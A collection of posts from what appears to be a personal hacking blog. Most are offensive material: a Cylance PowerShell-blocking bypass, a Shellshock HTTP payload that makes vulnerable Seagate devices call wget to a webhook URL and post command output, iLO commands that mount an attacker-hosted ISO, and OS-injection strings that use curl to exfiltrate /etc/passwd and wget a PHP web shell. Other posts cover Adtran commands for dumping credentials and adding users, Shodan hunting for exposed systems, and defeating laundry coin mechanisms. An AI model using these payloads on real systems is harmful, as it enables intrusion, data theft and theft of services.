When AI Just Doesn’t Get the Joke.

Like many of us, I’ve been exploring creative (and occasionally mischievous) ways to test the limits of AI. Recently, I thought it would be fun to combine AI with TTY services to pull a classic prank call on my wife while she was at work. Spoiler alert: it was a complete failure.

My first prompt went something like this:

“My wife works at [location]. Make a call to that place, get details about the menu and bar, then casually ask about Battletoads.”

The response? A polite but firm “I can’t make calls,” followed by a broken link and a handful of unrelated suggestions that didn’t come close to enabling the harmless mischief I had in mind.

I tried again with a different angle:

“I’m deaf, can you connect to a TTY service to make a call?”

Same result: dead links and unusable advice. After a few more prompts and experiments, it became clear—AI might be powerful, but it has no concept of fun.

Now, I never truly expected AI to get humor the way we do, but I did hope it might at least help facilitate it. Instead, when I asked whether prank calling or even the legendary art of phreaking was still alive, AI’s answer was essentially: not really.

And that’s when it hit me: while AI can automate tasks, analyze data, and streamline workflows, some things are just better left to people. Humor, spontaneity, and a little harmless mischief? That’s our domain.

So here’s my takeaway: AI is a great tool, but it doesn’t replace human creativity, playfulness, or the shared cultural quirks that make us laugh. Those belong to us.

And on that note… is your refrigerator running?

Bypass Cylance AV to run PowerShell Scripts.

So I was trying to automate the installation of some software using PowerShell (PS). Naturally I made up a ps script, but when I attempted to run it on machines with Cylance installed it was blocked by Cylance and it complained that it does not like me trying to run PS scripts. 

Challenge accepted! 

My first attempt was to use EncodedCommand, but wasted a bunch of time and gave up, lol. It has to be a, what I would say is a non-standard base64 encoding, to execute. Didn't find that out until I was a few hours in! Trying to find an easy way to ecode never panned out, even the great cyberchef failed me.

So I couldn't run PS scripts out right and didn't have time for EncodedCommand "im sure I was just doing something wong", so I moved on to Invoke-Expression (IE). 

M$ says, "The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line is returned (echoed) unchanged." 

So we can use IE to execute any string, First I tried to just put my script in a variable, but PS never liked it. I think the line breaks or some char was messing it up, Then looked at reading a file and putting it into a variable. So I base64 encoded the text from my script and used [Convert]::FromBase64String to decode then wrote it to a file in C:\Users\Public\ because I couldn't be sure what user context it was going to write in so I bet on low privileges.  Then used Get-Content -Raw to pull it into a variable, passed it to IE and Whammy! it worked. The most complicated process I could come up with to bypass Cylance PS script blocking :)

Enjoy the 1's and 0's

IPMI exposure over the internet, IPMIPWN & post compromise activities.

Another stop along memory lane is my favored thing to boast about, IPMIPWN! :P

I thought I would dive back into Shodan and check out the status of the attack surface after all this time. As expected, still stocked with targets! So this time around I wanted to took a look beyond penetration and look at post compromise activity.

Its been a while since I first made IPMIPWN, so a few things have changed. The servers out there are so old that the ciphers used for ssh are no longer supported a modern desktop ssh clients by default, making my first ssh attempt post IPMIPWN hax0rin was much like the below:

ssh backdoor2@target.com

Unable to negotiate with target.com port 22: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

Google said to added -o KexAlgorithms=diffie-hellman-group14-sha1, Then: 

ssh -o KexAlgorithms=diffie-hellman-group14-sha1 backdoor2@target.com

Unable to negotiate with target.com port 22: no matching host key type found. Their offer: ssh-dss

And then:

ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss backdoor2@target.com

Unable to negotiate with target.com port 22: no matching cipher found. Their offer: aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc

And then:

ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss -c aes256-cbc backdoor2@target.com

Unable to negotiate with target.com port 22: no matching MAC found. Their offer: hmac-sha1 

And then:

C:\Users\hacker> ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss -c aes256-cbc -m hmac-sha1 backdoor2@target.com

The authenticity of host 'target.com' can't be established.

DSA key fingerprint is SHA256:LkuLO3/0BBf4iCXIeOO/d9kjh987trtA30pZZkS/ruc.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added 'target.com' (DSA) to the list of known hosts.

backdoor2@target.com's password:

User:backdoor2 logged-in to ILOBRC444.(target.com)

iLO 3 Standard 1.26 at  Aug 26 2011

Server Name: SER_EPAPAR

Server Power: On

</>hpiLO->

 

Ok, so IPMIPWN got us this far, what next? A few possible attack paths might involve virtual media (VM) functionality. Here is how that might be setup:

First, See what VM is loaded if any

 </>hpiLO-> show map1/oemhp_vm1/cddr1

 Set our own VM

</>hpiLO-> cd map1/oemhp_vm1/cddr1

</map1/oemhp_vm1/cddr1>hpiLO-> set oemhp_image=http://cracker/evil.iso

Enable our "attacker controlled" VM

 </>hpiLO-> set /map1/oemhp_vm1/cddr1 oemhp_boot=connect

Confirm our changes

 </map1/oemhp_vm1/cddr1>hpiLO-> show

I used webhook.site to confirm this attack with great successes, as soon as you set oemhp_boot to connect, you should start seeing connection requests. You could also make your own Kali ISO that has a script to connect to a server somewhere, run on boot or network connection confirmation. More attack paths later >:)

Enjoy the 1's and 0's.. 

Happy New Year!!

 

so imma lilate, sue me :P

Getting a remote shell on Seagate GoFlex devices is still a thing almost ten years later!

Since I have been on a stroll down memory lane, I thought it would be fun to also revisit some of the bigger issues I have reported on in the past, like Getting a remote shell on any one of 68,000+ Seagate GoFlex devices. I found these devices are still plentiful on Shodan and despite all the time that has past. That's not all as they now easier to verify thanks to web services like webhook.site. In the past verifying you had RCE with these devices and the Shellshock bug in general could be tricky, but having something available to the public that catches callbacks makes it so much simpler. 

Here is what the new payload looks like using webhook.site:

GET /support/ HTTP/1.1

Host: vuln.device.ip.here

User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo;

 PATH=/usr/bin:/usr/local/bin:/bin; export PATH; wget

 http://webhook.site/866285eb-9c4f-4269-997c-6c4d3a960139/a -O /tmp/junk2>&1;

Here is what it looks like when it hits webhook:

If your testing this out your self and using webhook to verify execution, and you see something like the above on your webhook session, w00t! You have just successfully verified its vulnerable to shellshock, it has wget installed and its allowed to make calls outside of its network!

Going a bit further you can also exploit this Shellshock webhook.site combo to exfiltrate some information from our target by adding the --post-data flag to our wget payload with a bash command surrounded by backticks, like this:

--post-data `id`

wget will send the output of the command as post data to webhook :)  

It blows my mind we can still find these on the internets, and even more so that after 9 years no one is patching anything. If you have devices in your network, please for the love of all that is good, update your firmware! 

That's it for now, enjoy the 1's and 0's

Arctic Code Vault Contributor: ✓

Since I am on an ego trip, I thought I would gloate some more by reminding all of a tool a developed with a friend of mine called Upnp-Exploiter back when I still ran DC414 that made it into the Github Arctic Code Vault! So even after the zombie apocalypse, you can use my tool :) If you don't know what the Vault project is you can read more about it Here. I am deeply honored by this and many thanks to Github for including our project! 

That's not all for this project however, another friend of mine caught a glimpse of it being used in a pentest by a company called TraceSecurity! Below is a screen capture of it in the pentest report :) Nothing makes me more prouder than my tools being used by fellow ethical hackers. I hope they got some findings with it on another host! 

That's all for now. Enjoy the 1's and 0's.

Hack3r Achievement Obtained!

You may have seen on my X feed by now, but if not. I am proud to say my IPMIPWN tool was added to not only Kali Linux, but to BlackArch Linux as well!! This happened earlier, but I haven't bragged on the blog yet :) It's so amazing it was so well liked and used! I hope it has helped many hackers in their education and professional careers. 

If you somehow don't know about these projects, welcome skiddy and go here and here and RTFM :P 

I loving giving back to the scene that has helped me so much and I am always trying to do more. Now I can say I honestly have in a "I hope" meaningful way! Thanks to whoever found my tool worthy and all the people at the Kali and BackArch organizations. You are all awesome! Thank you!!

Enjoy the 1's and 0's :)

Go Tell That Spammer, The Scammer, The Crypto Jacker. Tell'em That God's Gonna Cut'em Down.

I HATE spammers, scammers, and just anything evil that tries to capitalize on the regular user, and for the most part I haven't really had any run ins with them, but them bastards are getting crafty and crossed paths with me so I thought I would share the tactics I observed and some of their junk. 

I will start with a Facebook/Zelle scan that was tried against my wife. So Cmoney was posting stuff on FB to sell, she was asking around $200 for the item and she got a hit that same night at around 4AM. He wanted to pay and come get it ASAP, but said he wanted to use Zelle to buy it then come get it later that day. as he was at work. We didn't use Zelle so we asked if he could use any other service, which he said no and said he will pass. Well Cmoney wanted to sell this thing so we got a Zelle account to accommodate this guy. We gave him our Zelle info to send money, which he then says he sent the payment, but nothing showed up on our end, then an email came saying this BS:

For your account to be credited fully with the sum of $230.00 USD You are required to send the sum of 

$100.00 USD (FIRST) to the buyer’s Zelle information for your buyer’s safety

We of course were all, yeah f that. Thats when I took a deeper look at the email from "Zelle" and noticed the from address was zellepay.customerservices024975@gmail.com which is obviously not a Zelle email, but you dont see that URL until  you go into header details, just a hover over the form/to area in gmail shows the below:

So the email is so long that google cuts off the TLD and all you see is the zelle portion. Here is a look at the expanded headers view:

So here there are some clues to its fakeness as you can see the gmail domain. However note the red box, GOOGLE SAYS IT'S AN IMPORTANT EMAIL!!! This is crazy and adds to its legitimacy.

Well we figure WTH and played along, but tell him we cant send the 100 bucks first. He then says he will pay it as long as we pay it back. We say sure we will pay it back no problem. We then get an email saying Zelle got it and all is good, he thought we would just send the 100 right away, but nah lol. We told him as soon as he sends the money for the item we will send his money back. We never heard back lol. I guess they don't like going off script. Maybe next time :) 

Enjoy the 1's and 0's.

Getting GSMEvil2 working on Debian.

So MOST of the instructions on GSMEvil2's github work fine with the exception of the pip guidance. Here is what I had to use to get it working:

pip3 install pyshark flask flask_socketio==4.3.2 pysqlite3

Yeah its a short post,  Deal with it :P

Heating control system meinETA open to attack with Hax11

meinETA is a heating control system that can be accessed remotely via a password protected portal, however since it uses X11 to expose the GUI to the user, if you can get the IP of the meinETA system this portal can be bypassed and you can manipulate the system directly with Hax11 as seen below.

The ETA site says this about meinETA:

meinETA: the free internet platform
If your heating boiler is connected to the internet, you can see and change all heating settings on your mobile, tablet or PC. So you always have a handle on your heating, wherever you are! When you login to www.meinETA.at, you see the touchscreen as if you were standing right in front of the boiler!

This means that with Hax11 you have full control of the system, without the need for the portal, just needing the systems IP. This would seem to be a big hurdal, but a few minutes on shodan and you can track systems down and be in full control with just a few keystrokes and clicks of the mouse. There doesn't seem to be any sort of authentication on the GUI, not even a pin code so there is nothing stopping you once you locate one. 

More on ETA

Get Hax11 HERE

Update to Hax11 allows connect to more display ports for larger attack surface

 I have updated Hax11 to connect to non-default display ports. The previous version only allowed connecting to display 0 "port 6000", but now you can connect to any a system has available. 

Example:

If you want to connect to display 1 "port 6001" use this command:

python hax11.py ip.addr.here 1

If you want to connect to display 0 use the old command style:

python hax11.py ip.addr.here

You can connect to display 1, 2, 3, and so on. I know it seems like a small change, but it doubles or more your attack surface. So while the change is small, the impact is big. 

Get it HERE

Enjoy! 

smilePOS RCE via MS .NET Remoting

While searching the internets for MS .NET Remoting deployments to test my service name brute force script, I stumbled on a gem. 

While testing I noticed a lot of systems with port 9099 was vulnerable to MS .NET Remoting abuse that also had a web port with a smilePOS login page served up. First I ever heard of this, so a quick Google search suggested these were a POS device of sorts, this made sense since all the ones I had found had all the same ports and services running. 

So with a bit more looking around I could confirm RCE on all found smilePOS devices, 2021.1.2103.0 is the only version tested. The service names my tool were able to identify are r1 and r2. If anyone has something to add please let me know, otherwise enjoy.

Automate brute forcing service names in vulnerable MS .NET Remoting deployments.

As anyone who is familiar with exploiting a MS .NET Remoting service, they know finding the correct service name can be a pain without the source code. If you don't know what it is Google is a good place to start. The tool ExploitRemotingService makes the job a snap, but it still has the limitation of needing the right service name, and brute forcing by hand is just crazy. 

I wanted to hack up something to make it less painful, so I searched the web for common object names, then searched github for MS .NET Remoting apps and added the names they were using as well. Then coded up a little bash script that uses the ExploitRemotingService tool and loops through the list I compiled. Testing so far shows it works like a charm with a few bugs. 

Still I thought it could be a nice tool to have in your bag of holding so I am made it available on github. I hope someone gets use of it. 

Usage: ./bfNET ip.addr port

Get it here

Getting free cycles out of coin operated laundry machines

 A friend of mine was telling me about how her landlord keeps raising the price on the washer and dryer in her apartment complex. She knew I liked playin with tech and machines so she asked if we could figure out how to get the coins out. I explained that would be a bad idea as it would be clear something was up if the machines never had money in them on collection day, but maybe we could figure out a way to get free use of them, which would be harder to detect. A door with a lock on top of the housing for the coin mechanism had a tubal lock as seen below:

So I busted out my picks and got the door to open. Here is what I found when I bypassed the lock:

As you can see it's just a few wires, I figured this was our access point to free cycles. You can see the white bracket to connect the coin functions to the machine as seen below:

So I disconnected them, and since there's only two wires, I figured a simple bridge of the two would likely give me the results I was hoping for. I then grabbed a paperclip to bridge them and just like that we had free cycles! Here is what it looked like:

Now you just reconnect the wires, put the door back on, lock, and push start. I gave the paperclip, and tubular pick to my buddy so she can have free cycles at any place with greedy landlords. It was a fun little project and I was happy to help out.

Useful AOS (Adtran OS) CLI commands and tips for pentesting

Below is some junk for AOS you might find useful in a pentest.

 CLI cmds:

Turns on privileged commands "all below commands assume enable command executed with success":

enable

Disable logging for session

no events all 

From here for easy hacking and if the system is in a DMZ, hanging off the inet or the proper ports are exposed, just enable the http server and continue from there. 

configure terminal

http server 80 

If you cant access the http server the cmds below should help get some info out of the system. 

Lists users and PWs

show running-config | include username #displays usernames and passwords.

Add new user with op privs

configure terminal 

username operator privilege 10 password unencrypted passwd1

List IPs

show ip interfaces

Download a file to target system *after running cmd below you will be promoted for more data and you will need an tftp server running that is accessible by the target"

copy tftp flash "or cflash"

Download file from target to your system 

copy flash tftp

 View vpns name and preshared keys

show crypto ike remote-id

 View vpns configs *below cmd should give all client configs, you add the name at end to view only that names config

show crypto ike congratulation pool

 View vpns policy

show crypto ike policy 

TCL script to set up a VPN in the AOS CLI  with walk through:

https://supportcommunity.adtran.com/jmaxz83287/attachments/jmaxz83287/nv-aos/182/1/Configuring%20Main%20Mode%20and%20Remote%20Client%20VPN%20in%20the%20AOS%20CLI.pdf

AOS CLI reference:

 https://supportcommunity.adtran.com/jmaxz83287/attachments/jmaxz83287/nv-aos/428/7/AOS%20R13.12.0%20Command%20Reference%20Guide.pdf

If you have anything to add please hit me up and let me know, i would love to see this grow!

Hax11 updated!

Hax11 has been updated to work on the latest kali and its still a target rich envirometn out there folks! Get it HERE and get to hax0rin :)

VBox OpenVAS Appliance

Recently I have been trying to get OpenVAS running, on any thing other than my laptop, tried Raspberry Pi, Docker, then a bare metal install of Ubuntu. No joy at all ever. So I gave up and finally got it running on a Kali install using Virtual Box in my laptop. Did work on the OpenVAS config to get you running faster, exported then and got the VBos image running on my server to confirm. After all the pain and time lost of installing and setup I figured I would export it as an appliance and share with the net. You can get it here

Some notes:

• ssh is running on 22022 login is user:asd123 "Change that pw ASAP"
• You have to ssh in as user to start OVAS "sudo gvm-start"
• Also change root pw as it as asd123 as well
• GVM web ui is on port 5050
• admin:asd123 "change that pw ASAP"
• VBox is set to forward the ports so whatever system you install it on is the IP you need to connect to with the ports set to 22022 for ssh and 5050 for OVAS
• Might also be a good idea to ssh in and update the feeds.
• tops IP list is top 1000 TCP and top 100 UDP
• Full and fast Clone 1 is Full and fast w/o DoS and a few other checks
• Profit??

Enjoy :)

GRGSM hacked/back ported/added legacy support/or somethig for the hackrf

This is a modified version of the grgsm_livemon to make it work with hackrf, for some reason they took it out of recent distractions including RF focused linux distros like DragonOS. That was foolish, so I brought I would bring back the joy. Open in GNU Radio Companion, build, and play.

Example usage after building: python grgsm_livemon.py -a -g 30 -f [freq]M

Get it HERE

Yahoo! blunder to Facebook account recovery joy

A friend of my wife and I, came to us wanting to know how she can get into a old Facebook account that she forgot the password of. She created it back when FB was first introduced to the public and It had messages and pics from a family member that passed, so we wanted to help her if we could. 

She told us she already attempted to contact FB with no success so I suggested she send a password reset request to whatever email account she used to setup the FB account, but she claimed that account no longer exited on Y! and didn't have a phone tired to the account which made other recovery options unusable I wasn't entirely sure this was even possible. 

I know that after a while an account may become inactive, and you need to re-activate it, but complete removal seemed uncommon. However I also know that Y! has had its issues with security and I remember they started deleting really old inactive accounts to cut down on hacked accounts. So lucky our friend did remember the email address she used and we just recreated it in Y! She sent the pw reset email, and was able to get in. An interesting use case,

Thanks, 

Hacking around with os injection

During a recent pentest of an app made with php, burp gave me a little surprise of a os commend injection notification! I had fun playing around with it and it was in the oddest place. Burp had interaction with collaborator so it was a solid notification. 

The issue was found in one of the apps upload functions in a var called KeyId. Which was i think passed to the php system call (or exec,passthru,etc.) for some reason. Here is the payload burp was using to get collaborator interaction: 

14316'"`0&nslookup -q=cname fo70trk51oioge2t1p2zzdvvdmjp7fvcj46wul.burpcollaborator.net.&`' 

So for RCE I needed to use a str like: 

14316'"`0&< CMD >&`' 

First I wanted verify I had access to the system so I thought I would use curl to exfil the results of running a cmd, and my first choice was id to check my privs on the system. So I used this str: 

14316'"`0&id|curl -d @- http://fatp2jmvxxrrzecu3nrjo99thknbb0.burpcollaborator.net/&`' 

This confirmed I can run system cmds, exfil the data, and that I was running them as a low level user. Then I start to exfil files to look for priv esc and gather info. I also used curl for this to make POST requests to burp collab and put file data in POST data. Here is an example str: 

14316'"`0&curl -F file=@/etc/passwd http://fatp2jmvxxrrzecu3nrjo99thknbb0.burpcollaborator.net/&`'

 After getting a few files pulled down I figured the next move was to try to get a web shell on the system to continue to check priv esc. I would have purffered Metasploit, but due to the many network restrictions, it wasn’t an option so I figured I would try to get the system to pull down a php web shell from the web. Which worked like a charm. Here is the str I used to dl files from the web:

 14316'"`0&wget https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/9377612eee a89aed2b226a870e76ac12965d6694/easy-simple-php-webshell.php&`' 

Because the web shell is a github project I changed the name of the shell right away incase of automated scanners looking for easy wins. So that is it, have fun and stay safe out there.